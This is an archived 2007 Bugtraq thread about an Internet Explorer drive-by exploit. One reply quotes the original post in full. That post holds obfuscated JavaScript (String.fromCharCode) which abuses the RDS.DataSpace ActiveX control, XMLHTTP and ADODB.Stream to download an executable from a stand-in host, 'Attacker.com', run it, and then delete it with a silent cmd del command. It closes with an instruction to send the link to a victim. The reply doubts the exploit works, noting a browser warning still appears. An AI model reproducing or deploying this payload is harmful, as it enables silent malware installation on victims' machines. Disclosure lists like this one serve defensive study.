Exploit In Internet Explorer Jul 29 2007 08:58AM
RaeD BsdMail Com (3 replies)
Re: Exploit In Internet Explorer Jul 30 2007 10:35PM
Nick FitzGerald (nick virus-l demon co uk) (1 replies)
Re: Exploit In Internet Explorer Jul 31 2007 05:01AM
Gadi Evron (ge linuxbox org)
RE: Exploit In Internet Explorer Jul 30 2007 09:55PM
Larry Seltzer (Larry larryseltzer com)
I get the browser warning bar: "This web site wants to run the following
add-on: 'Microsoft Data Access - Remote Data Services Dat...' from
'Microsoft Corporation'. If you trust the web site and the add-on and
want to allow it to run, click here..."

Looks like a message to me.

Larry Seltzer
eWEEK.com Security Center Editor
http://security.eweek.com/
http://blogs.eweek.com/cheap_hack/
Contributing Editor, PC Magazine
larryseltzer (at) ziffdavis (dot) com [email concealed]

-----Original Message-----
From: RaeD (at) BsdMail (dot) Com [email concealed] [mailto:RaeD (at) BsdMail (dot) Com [email concealed]]
Sent: Sunday, July 29, 2007 4:58 AM
To: bugtraq (at) securityfocus (dot) com [email concealed]
Subject: Exploit In Internet Explorer

Discovred By : Hasadya Raed
Contact : RaeD (at) BsdMail (dot) Com [email concealed] - Israel
-----------------------------------
Now You Can To Download Exe Files And To Run Without Msgs :

Exploit :

<html>
<script>
var dc=document.write;
var sc=String.fromCharCode;
var exe="http://www.Attacker.com/sever.exe";
dc(sc(60,115,99,114,105,112,116,62,118,97,114,32,97,105,108,105,97,110,4

4,122,104,97,110,44,99,109,100,115,115,59,97,105,108,105,97,110,61,34) +
exe +
sc(34,59,122,104,97,110,61,34,119,105,110,46,101,120,101,34,59,99,109,10

0,115,115,61,34,99,109,100,46,101,120,101,34,59,116,114,121,123,118,97,1

14,32,97,100,111,61,40,100,111,99,117,109,101,110,116,46,99,114,101,97,1

16,101,69,108,101,109,101,110,116,40,34,111,98,106,101,99,116,34,41,41,5

9,118,97,114,32,100,61,49,59,97,100,111,46,115,101,116,65,116,116,114,10

5,98,117,116,101,40,34,99,108,97,115,115,105,100,34,44,34,99,108,115,105

,100,58,66,68,57,54,67,53,53,54,45,54,53,65,51,45,49,49,68,48,45,57,56,5

1,65,45,48,48,67,48,52,70,67,50,57,69,51,54,34,41,59,118,97,114,32,101,6

1,49,59,118,97,114,32,120,109,108,61,97,100,111,46,67,114,101,97,116,101

,79,98,106,101,99,116,40,34,77,105,99,114,111,115,111,102,116,46,88,77,7

6,72,84,84,80,34,44,34,34,41,59,118,97,114,32,102,61,49,59,118,97,114,32

,108,110,61,34,65,100,111,34,59,118,97,114,32,1

08,122,110,61,34,100,98,46,83,116,34,59,118,97,114,32,97,110,61,34,114,1

01,97,109,34,59,118,97,114,32,103,61,49,59,118,97,114,32,97,115,61,97,10

0,111,46,99,114,101,97,116,101,111,98,106,101,99,116,40,108,110,43,108,1

22,110,43,97,110,44,34,34,41,59,118,97,114,32,104,61,49,59,120,109,108,4

6,79,112,101,110,40,34,71,69,84,34,44,97,105,108,105,97,110,44,48,41,59,

120,109,108,46,83,101,110,100,40,41,59,97,115,46,116,121,112,101,61,49,5

9,118,97,114,32,110,61,49,59,97,115,46,111,112,101,110,40,41,59,97,115,4

6,119,114,105,116,101,40,120,109,108,46,114,101,115,112,111,110,115,101,

66,111,100,121,41,59,97,115,46,115,97,118,101,116,111,102,105,108,101,40

,122,104,97,110,44,50,41,59,97,115,46,99,108,111,115,101,40,41,59,118,97

,114,32,115,104,101,108,108,61,97,100,111,46,99,114,101,97,116,101,111,9

8,106,101,99,116,40,34,83,104,101,108,108,46,65,112,112,108,105,99,97,11

6,105,111,110,34,44,34,34,41,59,115,104,101,108,108,46,83,104,101,108,10

8,69,120,101,99,117,116,101,40,122,104,97,110,44,34,3

4,44,34,34,44,34,111,112,101,110,34,44,48,41,59,115,104,101,108,108,46,8

3,104,101,108,108,69,120,101,99,117,116,101,40,99,109,100,115,115,44,34,

32,47,99,32,100,101,108,32,47,83,32,47,81,32,47,70,32,34,43,122,104,97,1

10,44,34,34,44,34,111,112,101,110,34,44,48,41,59,125,99,97,116,99,104,40

,101,41,123,125,59,60,47,115,99,114,105,112,116,62));
;By Fox TeaM
</script>
</html>

-------------------------------------------------
Save As Html File , And Send The Link To Victim
-------------------------------------------------

By Hasadya Raed - Israel

[ reply ]
Re: Exploit In Internet Explorer Jul 30 2007 09:11PM
paraw (paraw yahoo it)


 

Privacy Statement
Copyright 2010, SecurityFocus